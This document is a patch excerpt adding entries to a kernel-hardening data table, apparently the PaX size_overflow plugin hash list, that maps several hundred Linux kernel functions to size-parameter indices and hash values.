++_001500_hash irq_domain_add_linear 2 29236 _001500_hash NULL
++_001501_hash iscsi_conn_setup 2 35159 _001501_hash NULL
++_001502_hash iscsi_create_session 3 51647 _001502_hash NULL
++_001503_hash iscsi_host_alloc 2 36671 _001503_hash NULL
++_001504_hash iscsi_if_send_reply 7 52219 _001504_hash NULL
++_001505_hash iscsi_offload_mesg 5 58425 _001505_hash NULL
++_001506_hash iscsi_ping_comp_event 5 38263 _001506_hash NULL
++_001507_hash iscsi_post_host_event 4 13473 _001507_hash NULL
++_001508_hash iscsi_recv_pdu 4 16755 _001508_hash NULL
++_001509_hash iscsi_session_setup 4-5 196 _001509_hash NULL
++_001511_hash iscsit_find_cmd_from_itt_or_dump 3 17194 _003122_hash NULL nohasharray
++_001512_hash isdn_net_ciscohdlck_alloc_skb 2 55209 _001951_hash NULL nohasharray
++_001513_hash isdn_ppp_ccp_xmit_reset 6 63297 _001513_hash NULL
++_001514_hash isdn_ppp_read 4 50356 _001514_hash NULL
++_001515_hash isdn_ppp_skb_push 2 5236 _001515_hash NULL
++_001516_hash isku_sysfs_read 6 58806 _001516_hash NULL
++_001517_hash isku_sysfs_write 6 49767 _001517_hash NULL
++_001520_hash jbd2_alloc 1 41359 _001520_hash NULL
++_001521_hash jffs2_do_link 6 42048 _001521_hash NULL
++_001522_hash jffs2_do_unlink 4 62020 _001522_hash NULL
++_001523_hash jffs2_security_setxattr 4 62107 _001523_hash NULL
++_001524_hash jffs2_trusted_setxattr 4 17048 _001524_hash NULL
++_001525_hash jffs2_user_setxattr 4 10182 _001525_hash NULL
++_001526_hash joydev_ioctl_common 2 49359 _001526_hash NULL
++_001527_hash kernel_setsockopt 5 35913 _001527_hash NULL
++_001528_hash keyctl_describe_key 3 36853 _001528_hash NULL
++_001529_hash keyctl_get_security 3 64418 _001529_hash &_001192_hash
++_001530_hash keyring_read 3 13438 _001530_hash NULL
++_001531_hash kfifo_copy_to_user 3 20646 _001531_hash NULL
++_001532_hash kmem_zalloc_large 1 56128 _001532_hash NULL
++_001533_hash kmp_init 2 41373 _001533_hash NULL
++_001534_hash koneplus_sysfs_write 6 35993 _001534_hash NULL
++_001535_hash kvm_clear_guest_page 4 2308 _001535_hash NULL
++_001536_hash kvm_read_nested_guest_page 5 13337 _001536_hash NULL
++_001537_hash _l2_alloc_skb 1 11883 _001537_hash NULL
++_001538_hash l2cap_create_basic_pdu 3 24869 _001538_hash &_001074_hash
++_001539_hash l2cap_create_connless_pdu 3 37327 _001539_hash NULL
++_001540_hash l2cap_create_iframe_pdu 3 40055 _001540_hash NULL
++_001541_hash l3_alloc_skb 1 32289 _001541_hash NULL
++_001542_hash __lgwrite 4 57669 _001542_hash NULL
++_001543_hash libfc_host_alloc 2 7917 _001543_hash NULL
++_001544_hash llc_alloc_frame 4 64366 _001544_hash NULL
++_001545_hash llcp_sock_sendmsg 4 1092 _001545_hash NULL
++_001546_hash mac_drv_rx_init 2 48898 _001546_hash NULL
++_001547_hash macvtap_get_user 4 28185 _001547_hash NULL
++_001548_hash mdc800_device_read 3 22896 _001548_hash NULL
++_001549_hash memcpy_toiovec 3 54166 _001549_hash &_000892_hash
++_001550_hash memcpy_toiovecend 3-4 19736 _001550_hash NULL
++_001552_hash mempool_create 1 29437 _001552_hash NULL
++_001553_hash mgmt_event 4 12810 _001553_hash NULL
++_001554_hash mgt_set_varlen 4 60916 _001554_hash NULL
++_001555_hash mI_alloc_skb 1 24770 _001555_hash NULL
++_001556_hash mlx4_en_create_rx_ring 3 62498 _001556_hash NULL
++_001557_hash mlx4_en_create_tx_ring 4 48501 _001557_hash NULL
++_001558_hash mlx4_init_cmpt_table 3 11569 _001558_hash NULL
++_001559_hash mon_bin_get_event 4 52863 _001559_hash NULL
++_001560_hash mousedev_read 3 47123 _001560_hash NULL
++_001561_hash move_addr_to_user 2 2868 _001561_hash NULL
++_001562_hash mpihelp_mul 5-3 27805 _001562_hash NULL
++_001564_hash mpi_set_buffer 3 65294 _001564_hash NULL
++_001565_hash mptctl_ioctl 2 12355 _001565_hash NULL
++_001566_hash msnd_fifo_alloc 2 23179 _001566_hash NULL
++_001567_hash mtdswap_init 2 55719 _001567_hash NULL
++_001568_hash mthca_alloc_resize_buf 3 60394 _001568_hash NULL
++_001569_hash mthca_init_cq 2 60011 _001569_hash NULL
++_001570_hash nci_skb_alloc 2 49757 _001570_hash NULL
++_001571_hash neigh_hash_grow 2 17283 _001571_hash NULL
++_001572_hash netdev_alloc_skb 2 62437 _001572_hash NULL
++_001573_hash __netdev_alloc_skb_ip_align 2 55067 _001573_hash NULL
++_001574_hash netlink_change_ngroups 2 16457 _001574_hash NULL
++_001575_hash new_skb 1 21148 _001575_hash NULL
++_001576_hash nfc_alloc_recv_skb 1 10244 _001576_hash NULL
++_001577_hash nfcwilink_skb_alloc 1 16167 _001577_hash NULL
++_001578_hash __nf_nat_mangle_tcp_packet 5-7 8190 _001578_hash NULL
++_001580_hash nf_nat_mangle_udp_packet 5-7 13321 _001580_hash NULL
++_001582_hash nfqnl_mangle 4-2 36226 _001582_hash NULL
++_001583_hash nfs4_realloc_slot_table 2 22859 _001583_hash NULL
++_001584_hash nfs_idmap_get_key 2 39616 _001584_hash NULL
++_001585_hash nfs_readdata_alloc 2 65015 _001585_hash NULL
++_001586_hash nfs_writedata_alloc 2 12133 _001586_hash NULL
++_001587_hash nfulnl_alloc_skb 2 65207 _001587_hash NULL
++_001588_hash ni65_alloc_mem 3 10664 _001588_hash NULL
++_001589_hash nsm_get_handle 4 52089 _001589_hash NULL
++_001590_hash ntfs_malloc_nofs 1 49572 _001590_hash NULL
++_001591_hash ntfs_malloc_nofs_nofail 1 63631 _001591_hash NULL
++_001592_hash nvme_create_queue 3 170 _001592_hash NULL
++_001593_hash ocfs2_control_write 3 54737 _001593_hash NULL
++_001595_hash orinoco_add_extscan_result 3 18207 _001595_hash NULL
++_001596_hash osd_req_read_sg_kern 5 6378 _001596_hash NULL
++_001597_hash osd_req_write_sg_kern 5 10514 _001597_hash NULL
++_001599_hash override_release 2 52032 _001599_hash NULL
++_001600_hash p9_client_read 5 19750 _001600_hash NULL
++_001601_hash packet_snd 3 13634 _001601_hash NULL
++_001602_hash pcbit_stat 2 27364 _001602_hash NULL
++_001603_hash pcpu_extend_area_map 2 12589 _001603_hash NULL
++_001604_hash pep_alloc_skb 3 46303 _001604_hash NULL
++_001605_hash pg_read 3 17276 _001605_hash NULL
++_001606_hash picolcd_debug_eeprom_read 3 14549 _001606_hash NULL
++_001607_hash pkt_alloc_packet_data 1 37928 _001607_hash NULL
++_001608_hash pmcraid_build_passthrough_ioadls 2 62034 _001608_hash NULL
++_001609_hash pn_raw_send 2 54330 _001609_hash NULL
++_001610_hash posix_clock_register 2 5662 _001610_hash NULL
++_001611_hash printer_read 3 54851 _001611_hash NULL
++_001612_hash __proc_file_read 3 54978 _001612_hash NULL
++_001613_hash pskb_may_pull 2 22546 _001613_hash NULL
++_001614_hash __pskb_pull 2 42602 _001614_hash NULL
++_001615_hash ptp_read 4 63251 _001615_hash NULL
++_001616_hash pt_read 3 49136 _001616_hash NULL
++_001617_hash put_cmsg 4 36589 _001617_hash NULL
++_001618_hash px_raw_event 4 49371 _001618_hash NULL
++_001619_hash qla4xxx_post_aen_work 3 46953 _001619_hash NULL
++_001620_hash qla4xxx_post_ping_evt_work 4 8074 _001819_hash NULL nohasharray
++_001621_hash raid5_resize 2 63306 _001621_hash NULL
++_001622_hash rawv6_sendmsg 4 20080 _001622_hash NULL
++_001623_hash rds_message_map_pages 2 31487 _001623_hash NULL
++_001624_hash rds_sendmsg 4 40976 _001624_hash NULL
++_001625_hash read_flush 3 43851 _001625_hash NULL
++_001626_hash read_profile 3 27859 _001626_hash NULL
++_001627_hash read_vmcore 3 26501 _001627_hash NULL
++_001628_hash redirected_tty_write 3 65297 _001628_hash NULL
++_001629_hash refill_pool 2 19477 _001629_hash NULL
++_001630_hash __register_chrdev 2-3 54223 _001630_hash NULL
++_001632_hash regmap_raw_write 4 53803 _001632_hash NULL
++_001633_hash reiserfs_allocate_list_bitmaps 3 21732 _001633_hash NULL
++_001634_hash reiserfs_resize 2 34377 _001634_hash NULL
++_001635_hash request_key_auth_read 3 24109 _001635_hash NULL
++_001636_hash rfcomm_wmalloc 2 58090 _001636_hash NULL
++_001637_hash rfkill_fop_read 3 54711 _001637_hash NULL
++_001638_hash rng_dev_read 3 41581 _001638_hash NULL
++_001639_hash roccat_read 3 41093 _001639_hash &_001034_hash
++_001640_hash rx 4 57944 _001640_hash NULL
++_001641_hash rxrpc_client_sendmsg 5 23236 _001641_hash NULL
++_001642_hash rxrpc_kernel_send_data 3 60083 _001642_hash NULL
++_001643_hash rxrpc_server_sendmsg 4 37331 _001643_hash NULL
++_001644_hash savu_sysfs_write 6 42273 _001644_hash NULL
++_001645_hash sco_sock_sendmsg 4 62542 _001645_hash NULL
++_001646_hash scsi_nl_send_vendor_msg 5 16394 _001646_hash NULL
++_001647_hash scsi_register 2 49094 _001647_hash NULL
++_001648_hash sctp_datamsg_from_user 4 55342 _001648_hash NULL
++_001649_hash sctp_getsockopt_events 2 3607 _001649_hash NULL
++_001650_hash sctp_getsockopt_maxburst 2 42941 _001650_hash NULL
++_001651_hash sctp_getsockopt_maxseg 2 10737 _001651_hash NULL
++_001652_hash sctp_make_chunk 4 12986 _001652_hash NULL
++_001653_hash sctpprobe_read 3 17741 _001653_hash NULL
++_001654_hash sctp_tsnmap_mark 2 35929 _001654_hash NULL
++_001655_hash sctp_ulpevent_new 1 33377 _001655_hash NULL
++_001656_hash sdhci_alloc_host 2 7509 _001656_hash NULL
++_001657_hash selinux_inode_post_setxattr 4 26037 _001657_hash NULL
++_001658_hash selinux_inode_setsecurity 4 18148 _001658_hash NULL
++_001659_hash selinux_inode_setxattr 4 10708 _001659_hash NULL
++_001660_hash selinux_secctx_to_secid 2 63744 _001660_hash NULL
++_001661_hash selinux_setprocattr 4 55611 _001661_hash NULL
++_001662_hash sel_write_context 3 25726 _001662_hash &_001329_hash
++_001663_hash send_command 4 10832 _001663_hash NULL
++_001664_hash seq_copy_in_user 3 18543 _001664_hash NULL
++_001665_hash seq_open_net 4 8968 _001779_hash NULL nohasharray
++_001666_hash seq_open_private 3 61589 _001666_hash NULL
++_001667_hash set_arg 3 42824 _001667_hash NULL
++_001668_hash sg_read 3 25799 _001668_hash NULL
++_001669_hash shash_async_setkey 3 10720 _003506_hash NULL nohasharray
++_001670_hash shash_compat_setkey 3 12267 _001670_hash NULL
++_001671_hash shmem_setxattr 4 55867 _001671_hash NULL
++_001672_hash simple_read_from_buffer 2-5 55957 _001672_hash NULL
++_001674_hash sisusb_clear_vram 2-3 57466 _001674_hash NULL
++_001676_hash sisusbcon_do_font_op 9 52271 _001676_hash NULL
++_001677_hash sisusb_copy_memory 4 35016 _001677_hash NULL
++_001678_hash sisusb_write 3 44834 _001678_hash NULL
++_001680_hash skb_cow 2 26138 _001680_hash NULL
++_001681_hash skb_cow_head 2 52495 _001681_hash NULL
++_001682_hash skb_make_writable 2 24783 _001682_hash NULL
++_001683_hash skb_padto 2 50759 _001683_hash NULL
++_001684_hash sk_stream_alloc_skb 2 57622 _001684_hash NULL
++_001685_hash smk_write_access2 3 19170 _001685_hash NULL
++_001686_hash smk_write_access 3 49561 _001686_hash NULL
++_001687_hash snd_es1938_capture_copy 5 25930 _001687_hash NULL
++_001688_hash snd_gus_dram_peek 4 9062 _001688_hash NULL
++_001689_hash snd_hdsp_capture_copy 5 4011 _001689_hash NULL
++_001690_hash snd_korg1212_copy_to 6 92 _001690_hash NULL
++_001691_hash snd_opl4_mem_proc_read 5 63774 _001691_hash NULL
++_001692_hash snd_pcm_oss_read1 3 63771 _001692_hash NULL
++_001693_hash snd_pcm_plugin_alloc 2 12580 _001693_hash NULL
++_001694_hash snd_rawmidi_kernel_read1 4 36740 _001694_hash NULL
++_001695_hash snd_rme9652_capture_copy 5 10287 _001695_hash NULL
++_001696_hash sock_alloc_send_pskb 2 21246 _001696_hash NULL
++_001697_hash sock_rmalloc 2 59740 _002491_hash NULL nohasharray
++_001698_hash sock_wmalloc 2 16472 _001698_hash NULL
++_001699_hash solos_param_store 4 34755 _001699_hash NULL
++_001702_hash srp_target_alloc 3 37288 _001702_hash NULL
++_001703_hash store_ifalias 4 35088 _001703_hash NULL
++_001704_hash store_msg 3 56417 _001704_hash NULL
++_001705_hash str_to_user 2 11411 _001705_hash NULL
++_001706_hash subbuf_read_actor 3 2071 _001706_hash NULL
++_001707_hash sys_fgetxattr 4 25166 _001707_hash NULL
++_001708_hash sys_gethostname 2 49698 _001708_hash NULL
++_001709_hash sys_getxattr 4 37418 _001709_hash NULL
++_001710_hash sys_init_module 2 36047 _001710_hash NULL
++_001711_hash sys_kexec_load 2 14222 _001711_hash NULL
++_001712_hash sys_lgetxattr 4 45531 _001712_hash NULL
++_001713_hash syslog_print 2 307 _001713_hash NULL
++_001714_hash sys_msgsnd 3 44537 _001714_hash &_000139_hash
++_001715_hash sys_process_vm_readv 3-5 19090 _003104_hash NULL nohasharray
++_001717_hash sys_process_vm_writev 3-5 4928 _001717_hash NULL
++_001719_hash sys_pselect6 1 57449 _001719_hash NULL
++_001720_hash sys_sched_getaffinity 2 60033 _001720_hash NULL
++_001721_hash sys_setsockopt 5 35320 _001721_hash NULL
++_001722_hash t3_init_l2t 1 8261 _001722_hash NULL
++_001723_hash t4vf_pktgl_to_skb 2 39005 _001723_hash NULL
++_001724_hash tcp_collapse 5-6 63294 _001724_hash NULL
++_001726_hash tcp_sendmsg 4 30296 _001726_hash NULL
++_001727_hash team_options_register 3 20091 _001727_hash NULL
++_001728_hash tipc_buf_acquire 1 60437 _001728_hash NULL
++_001729_hash tipc_cfg_reply_alloc 1 27606 _001729_hash NULL
++_001730_hash tipc_send2name 6 16809 _001730_hash NULL
++_001731_hash tipc_send2port 5 63935 _001731_hash NULL
++_001732_hash tipc_send 4 51238 _001732_hash NULL
++_001733_hash tnode_new 3 44757 _002769_hash NULL nohasharray
++_001734_hash tomoyo_read_self 3 33539 _001734_hash NULL
++_001735_hash tomoyo_update_domain 2 5498 _001735_hash NULL
++_001736_hash tomoyo_update_policy 2 40458 _001736_hash NULL
++_001737_hash tpm_read 3 50344 _001737_hash NULL
++_001738_hash TSS_rawhmac 3 17486 _001738_hash NULL
++_001739_hash __tty_buffer_request_room 2 27700 _001739_hash NULL
++_001740_hash tun_get_user 4 39099 _001740_hash NULL
++_001741_hash ubi_dump_flash 4 46381 _001741_hash NULL
++_001742_hash ubi_io_write 4-5 15870 _003453_hash NULL nohasharray
++_001744_hash udp_setsockopt 5 25985 _001744_hash NULL
++_001745_hash udpv6_setsockopt 5 18487 _001745_hash NULL
++_001746_hash uio_read 3 49300 _001746_hash NULL
++_001747_hash ulog_alloc_skb 1 23427 _001747_hash NULL
++_001748_hash unix_dgram_sendmsg 4 45699 _001748_hash NULL
++_001749_hash unlink1 3 63059 _001749_hash NULL
++_001751_hash usbdev_read 3 45114 _001751_hash NULL
++_001752_hash usblp_ioctl 2 30203 _001752_hash NULL
++_001753_hash usblp_read 3 57342 _003832_hash NULL nohasharray
++_001754_hash usbtmc_read 3 32377 _001754_hash NULL
++_001755_hash _usb_writeN_sync 4 31682 _001755_hash NULL
++_001756_hash user_read 3 51881 _001756_hash NULL
++_001757_hash vcs_read 3 8017 _001757_hash NULL
++_001758_hash vdma_mem_alloc 1 6171 _001758_hash NULL
++_001759_hash venus_create 4 20555 _001759_hash NULL
++_001760_hash venus_link 5 32165 _001760_hash NULL
++_001761_hash venus_lookup 4 8121 _001761_hash NULL
++_001762_hash venus_mkdir 4 8967 _001762_hash NULL
++_001763_hash venus_remove 4 59781 _001763_hash NULL
++_001764_hash venus_rename 4-5 17707 _003784_hash NULL nohasharray
++_001766_hash venus_rmdir 4 45564 _001766_hash NULL
++_001767_hash venus_symlink 4-6 23570 _001767_hash NULL
++_001769_hash vfs_readlink 3 54368 _001769_hash NULL
++_001770_hash vfs_readv 3 38011 _001770_hash NULL
++_001771_hash vfs_writev 3 25278 _001771_hash NULL
++_001772_hash vga_arb_read 3 4886 _001772_hash NULL
++_001773_hash vgacon_adjust_height 2 28124 _001773_hash NULL
++_001774_hash vhci_put_user 4 12604 _001774_hash NULL
++_001775_hash vhost_add_used_n 3 10760 _001775_hash NULL
++_001776_hash virtnet_send_command 5-6 61993 _001776_hash NULL
++_001778_hash vmbus_establish_gpadl 3 4495 _001778_hash NULL
++_001779_hash vol_cdev_read 3 8968 _001779_hash &_001665_hash
++_001780_hash wdm_read 3 6549 _001780_hash NULL
++_001781_hash write_adapter_mem 3 3234 _001781_hash NULL
++_001782_hash wusb_prf 7 54261 _001782_hash &_000065_hash
++_001783_hash xdi_copy_to_user 4 48900 _001783_hash NULL
++_001784_hash xfs_buf_associate_memory 3 17915 _001784_hash NULL
++_001785_hash xfs_buf_get_maps 2 4581 _001785_hash NULL
++_001786_hash xfs_buf_get_uncached 2 51477 _001786_hash NULL
++_001787_hash xfs_buf_item_get_format 2 189 _001787_hash NULL
++_001788_hash xfs_buf_map_from_irec 5 2368 _002641_hash NULL nohasharray
++_001789_hash xfs_dir2_block_to_sf 3 37868 _001789_hash NULL
++_001790_hash xfs_dir2_leaf_getdents 3 23841 _001790_hash NULL
++_001791_hash xfs_dir2_sf_addname_hard 3 54254 _001791_hash NULL
++_001792_hash xfs_efd_init 3 5463 _001792_hash NULL
++_001793_hash xfs_efi_init 2 5476 _001793_hash NULL
++_001794_hash xfs_iext_realloc_direct 2 20521 _001794_hash NULL
++_001795_hash xfs_iext_realloc_indirect 2 59211 _001795_hash NULL
++_001796_hash xfs_inumbers_fmt 3 12817 _001796_hash NULL
++_001797_hash xhci_alloc_streams 5 37586 _001797_hash NULL
++_001798_hash xlog_recover_add_to_cont_trans 4 44102 _001798_hash NULL
++_001799_hash xz_dec_lzma2_create 2 36353 _002713_hash NULL nohasharray
++_001800_hash _zd_iowrite32v_locked 3 44725 _001800_hash NULL
++_001801_hash a2mp_chan_alloc_skb_cb 2 27159 _001801_hash NULL
++_001802_hash aat2870_reg_read_file 3 12221 _001802_hash NULL
++_001803_hash add_partition 2 55588 _001803_hash NULL
++_001804_hash add_sctp_bind_addr 3 12269 _001804_hash NULL
++_001805_hash _add_sg_continuation_descriptor 3 54721 _001805_hash NULL
++_001806_hash afs_cell_lookup 2 8482 _001806_hash NULL
++_001807_hash afs_send_simple_reply 3 63940 _001807_hash NULL
++_001808_hash agp_allocate_memory_wrap 1 16576 _001808_hash NULL
++_001809_hash __alloc_bootmem 1 31498 _001809_hash NULL
++_001810_hash __alloc_bootmem_low 1 43423 _003425_hash NULL nohasharray
++_001811_hash __alloc_bootmem_node_high 2 65076 _001811_hash NULL
++_001812_hash alloc_cc770dev 1 48186 _001812_hash NULL
++_001813_hash __alloc_ei_netdev 1 29338 _001813_hash NULL
++_001814_hash __alloc_eip_netdev 1 51549 _001814_hash NULL
++_001815_hash alloc_libipw 1 22708 _001815_hash NULL
++_001816_hash _alloc_mISDN_skb 3 52232 _001816_hash NULL
++_001817_hash alloc_pg_vec 2 8533 _001817_hash NULL
++_001818_hash alloc_sja1000dev 1 17868 _001818_hash NULL
++_001819_hash alloc_targets 2 8074 _001819_hash &_001620_hash
++_001822_hash ath6kl_disconnect_timeout_read 3 3650 _001822_hash NULL
++_001823_hash ath6kl_endpoint_stats_read 3 41554 _001823_hash NULL
++_001824_hash ath6kl_fwlog_mask_read 3 2050 _001824_hash NULL
++_001825_hash ath6kl_keepalive_read 3 44303 _001825_hash NULL
++_001826_hash ath6kl_listen_int_read 3 10355 _001826_hash NULL
++_001827_hash ath6kl_lrssi_roam_read 3 61022 _001827_hash NULL
++_001828_hash ath6kl_regdump_read 3 14393 _001828_hash NULL
++_001829_hash ath6kl_regread_read 3 25884 _001829_hash NULL
++_001830_hash ath6kl_regwrite_read 3 48747 _001830_hash NULL
++_001831_hash ath6kl_roam_table_read 3 26166 _001831_hash NULL
++_001832_hash ath9k_debugfs_read_buf 3 25316 _001832_hash NULL
++_001833_hash ath9k_multi_regread 4 65056 _001833_hash NULL
++_001834_hash ath_rxbuf_alloc 2 24745 _001834_hash NULL
++_001835_hash atk_debugfs_ggrp_read 3 29522 _001835_hash NULL
++_001836_hash audit_log_n_untrustedstring 3 9548 _001836_hash NULL
++_001837_hash ax25_send_frame 2 19964 _001837_hash NULL
++_001838_hash b43_debugfs_read 3 24425 _001838_hash NULL
++_001839_hash b43legacy_debugfs_read 3 2473 _001839_hash NULL
++_001840_hash batadv_bla_is_backbone_gw 3 58488 _001840_hash NULL
++_001841_hash batadv_check_management_packet 3 52993 _001841_hash NULL
++_001842_hash batadv_check_unicast_packet 2 10866 _001842_hash NULL
++_001843_hash batadv_interface_rx 4 8568 _001843_hash NULL
++_001844_hash batadv_skb_head_push 2 11360 _001844_hash NULL
++_001845_hash bchannel_get_rxbuf 2 37213 _001845_hash NULL
++_001846_hash bcm_recvmsg 4 43992 _001846_hash NULL
++_001847_hash bfad_debugfs_read 3 13119 _001847_hash NULL
++_001848_hash bfad_debugfs_read_regrd 3 57830 _001848_hash NULL
++_001849_hash blk_init_tags 1 30592 _001849_hash NULL
++_001850_hash blk_queue_init_tags 2 44355 _001850_hash &_001022_hash
++_001851_hash blk_rq_map_kern 4 47004 _001851_hash NULL
++_001852_hash bm_entry_read 3 10976 _001852_hash NULL
++_001853_hash bm_status_read 3 19583 _001853_hash NULL
++_001854_hash bnad_debugfs_read 3 50665 _001854_hash NULL
++_001855_hash bnad_debugfs_read_regrd 3 51308 _001855_hash NULL
++_001856_hash bnx2i_send_nl_mesg 4 53353 _001856_hash NULL
++_001857_hash brcmf_debugfs_sdio_counter_read 3 58369 _001857_hash NULL
++_001858_hash brcmf_sdio_assert_info 4 52653 _001858_hash NULL
++_001859_hash brcmf_sdio_dump_console 4 37455 _001859_hash NULL
++_001860_hash brcmf_sdio_trap_info 4 48510 _001860_hash NULL
++_001861_hash btmrvl_curpsmode_read 3 46939 _001861_hash NULL
++_001862_hash btmrvl_gpiogap_read 3 4718 _001862_hash NULL
++_001863_hash btmrvl_hscfgcmd_read 3 56303 _001863_hash NULL
++_001864_hash btmrvl_hscmd_read 3 1614 _001864_hash NULL
++_001865_hash btmrvl_hsmode_read 3 1647 _001865_hash NULL
++_001866_hash btmrvl_hsstate_read 3 920 _001866_hash NULL
++_001867_hash btmrvl_pscmd_read 3 24308 _001867_hash NULL
++_001868_hash btmrvl_psmode_read 3 22395 _001868_hash NULL
++_001869_hash btmrvl_psstate_read 3 50683 _001869_hash NULL
++_001870_hash btmrvl_txdnldready_read 3 413 _001870_hash NULL
++_001871_hash btrfs_add_link 5 9973 _001871_hash NULL
++_001872_hash __btrfs_direct_write 4 22273 _001872_hash NULL
++_001873_hash btrfs_discard_extent 2 38547 _001873_hash NULL
++_001874_hash btrfs_file_aio_write 4 21520 _001874_hash NULL
++_001875_hash btrfs_find_create_tree_block 3 55812 _001875_hash NULL
++_001876_hash btrfsic_map_block 2 56751 _001876_hash NULL
++_001877_hash cache_read_pipefs 3 47615 _001877_hash NULL
++_001878_hash cache_read_procfs 3 52882 _001878_hash NULL
++_001879_hash cache_write_pipefs 3 48270 _001879_hash NULL
++_001880_hash cache_write_procfs 3 22491 _001880_hash NULL
++_001881_hash caif_stream_recvmsg 4 13173 _001881_hash NULL
++_001882_hash carl9170_alloc 1 27 _001882_hash NULL
++_001883_hash carl9170_debugfs_read 3 47738 _001883_hash NULL
++_001884_hash ceph_msgpool_init 4 34599 _001884_hash NULL
++_001885_hash cfpkt_add_trail 3 27260 _001885_hash NULL
++_001886_hash cfpkt_create 1 18197 _001886_hash NULL
++_001887_hash cfpkt_pad_trail 2 55511 _003606_hash NULL nohasharray
++_001888_hash cfpkt_split 2 47541 _001888_hash NULL
++_001889_hash cgroup_read_s64 5 19570 _001889_hash NULL
++_001890_hash cgroup_read_u64 5 45532 _001890_hash NULL
++_001891_hash channel_type_read 3 47308 _001891_hash NULL
++_001892_hash check_header 2 56930 _001892_hash NULL
++_001893_hash codec_list_read_file 3 24910 _001893_hash NULL
++_001894_hash configfs_read_file 3 1683 _001894_hash NULL
++_001895_hash console_store 4 36007 _001895_hash NULL
++_001896_hash cpuset_common_file_read 5 8800 _001896_hash NULL
++_001897_hash create_subvol 4 30836 _001897_hash NULL
++_001898_hash cxio_hal_init_resource 2-7-6 29771 _001898_hash &_000295_hash
++_001901_hash cxio_hal_init_rhdl_resource 1 25104 _001901_hash NULL
++_001902_hash dai_list_read_file 3 25421 _001902_hash NULL
++_001903_hash dapm_bias_read_file 3 64715 _001903_hash NULL
++_001904_hash dapm_widget_power_read_file 3 59950 _001983_hash NULL nohasharray
++_001907_hash dbgfs_frame 3 45917 _001907_hash NULL
++_001908_hash dbgfs_state 3 38894 _001908_hash NULL
++_001909_hash dccp_manip_pkt 2 30229 _001909_hash NULL
++_001910_hash ddp_ppod_write_idata 5 25610 _001910_hash NULL
++_001911_hash debugfs_read 3 62535 _001911_hash NULL
++_001912_hash debug_output 3 18575 _001912_hash NULL
++_001913_hash debug_read 3 19322 _001913_hash NULL
++_001914_hash dev_alloc_skb 1 19517 _001914_hash &_001366_hash
++_001915_hash dfs_file_read 3 18116 _001915_hash NULL
++_001916_hash diva_alloc_dma_map 2 23798 _001916_hash NULL
++_001917_hash diva_xdi_write 4 63975 _001917_hash NULL
++_001918_hash dma_memcpy_pg_to_iovec 6 1725 _001918_hash NULL
++_001919_hash dma_memcpy_to_iovec 5 12173 _001919_hash NULL
++_001920_hash dma_show_regs 3 35266 _001920_hash NULL
++_001921_hash dm_exception_table_init 2 39645 _001921_hash &_001149_hash
++_001922_hash dn_nsp_do_disc 2-6 49474 _001922_hash NULL
++_001924_hash dn_recvmsg 4 17213 _001924_hash NULL
++_001925_hash dns_resolver_read 3 54658 _001925_hash NULL
++_001926_hash do_msgrcv 4 5590 _001926_hash NULL
++_001927_hash do_syslog 3 56807 _001927_hash NULL
++_001928_hash dpcm_state_read_file 3 65489 _001928_hash NULL
++_001929_hash dsp_cmx_send_member 2 15625 _001929_hash NULL
++_001930_hash fallback_on_nodma_alloc 2 35332 _001930_hash NULL
++_001931_hash fc_frame_alloc 2 1596 _001931_hash NULL
++_001932_hash fc_frame_alloc_fill 2 59394 _001932_hash NULL
++_001933_hash filter_read 3 61692 _001933_hash NULL
++_001934_hash __finish_unordered_dir 4 33198 _001934_hash NULL
++_001935_hash format_devstat_counter 3 32550 _001935_hash NULL
++_001936_hash fragmentation_threshold_read 3 61718 _001936_hash NULL
++_001937_hash fuse_conn_limit_read 3 20084 _001937_hash NULL
++_001938_hash fuse_conn_waiting_read 3 49762 _001938_hash NULL
++_001939_hash fuse_file_aio_write 4 46399 _001939_hash NULL
++_001940_hash generic_readlink 3 32654 _001940_hash NULL
++_001941_hash gre_manip_pkt 2 38785 _001941_hash NULL
++_001942_hash handle_eviocgbit 3 44193 _001942_hash NULL
++_001943_hash handle_response 5 55951 _001943_hash NULL
++_001944_hash handle_response_icmp 7 39574 _001944_hash NULL
++_001945_hash hash_recvmsg 4 50924 _001945_hash NULL
++_001946_hash hci_send_cmd 3 43810 _001946_hash NULL
++_001947_hash hci_si_event 3 1404 _001947_hash NULL
++_001948_hash help 4 14971 _001948_hash NULL
++_001949_hash hfcpci_empty_bfifo 4 62323 _001949_hash NULL
++_001950_hash hidp_send_ctrl_message 4 43702 _001950_hash NULL
++_001951_hash ht40allow_map_read 3 55209 _001951_hash &_001512_hash
++_001952_hash hwflags_read 3 52318 _001952_hash NULL
++_001953_hash hysdn_conf_read 3 42324 _001953_hash NULL
++_001954_hash hysdn_sched_rx 3 60533 _001954_hash NULL
++_001955_hash i2400m_rx_stats_read 3 57706 _001955_hash NULL
++_001956_hash i2400m_tx_stats_read 3 28527 _001956_hash NULL
++_001957_hash icmp_manip_pkt 2 48801 _001957_hash NULL
++_001958_hash idmouse_read 3 63374 _001958_hash NULL
++_001959_hash ieee80211_if_read 3 6785 _001959_hash NULL
++_001960_hash ieee80211_rx_bss_info 3 61630 _001960_hash NULL
++_001961_hash ikconfig_read_current 3 1658 _001961_hash NULL
++_001962_hash il3945_sta_dbgfs_stats_table_read 3 48802 _001962_hash NULL
++_001963_hash il3945_ucode_general_stats_read 3 46111 _001963_hash NULL
++_001964_hash il3945_ucode_rx_stats_read 3 3048 _001964_hash NULL
++_001965_hash il3945_ucode_tx_stats_read 3 36016 _001965_hash NULL
++_001966_hash il4965_rs_sta_dbgfs_rate_scale_data_read 3 37792 _001966_hash NULL
++_001967_hash il4965_rs_sta_dbgfs_scale_table_read 3 38564 _001967_hash NULL
++_001968_hash il4965_rs_sta_dbgfs_stats_table_read 3 49206 _001968_hash NULL
++_001969_hash il4965_ucode_general_stats_read 3 56277 _001969_hash NULL
++_001970_hash il4965_ucode_rx_stats_read 3 61948 _001970_hash NULL
++_001971_hash il4965_ucode_tx_stats_read 3 12064 _001971_hash NULL
++_001972_hash il_dbgfs_chain_noise_read 3 38044 _001972_hash NULL
++_001973_hash il_dbgfs_channels_read 3 25005 _001973_hash NULL
++_001974_hash il_dbgfs_disable_ht40_read 3 42386 _001974_hash NULL
++_001975_hash il_dbgfs_fh_reg_read 3 40993 _001975_hash NULL
++_001976_hash il_dbgfs_force_reset_read 3 57517 _001976_hash NULL
++_001977_hash il_dbgfs_interrupt_read 3 3351 _001977_hash NULL
++_001978_hash il_dbgfs_missed_beacon_read 3 59956 _001978_hash NULL
++_001979_hash il_dbgfs_nvm_read 3 12288 _001979_hash NULL
++_001980_hash il_dbgfs_power_save_status_read 3 43165 _001980_hash NULL
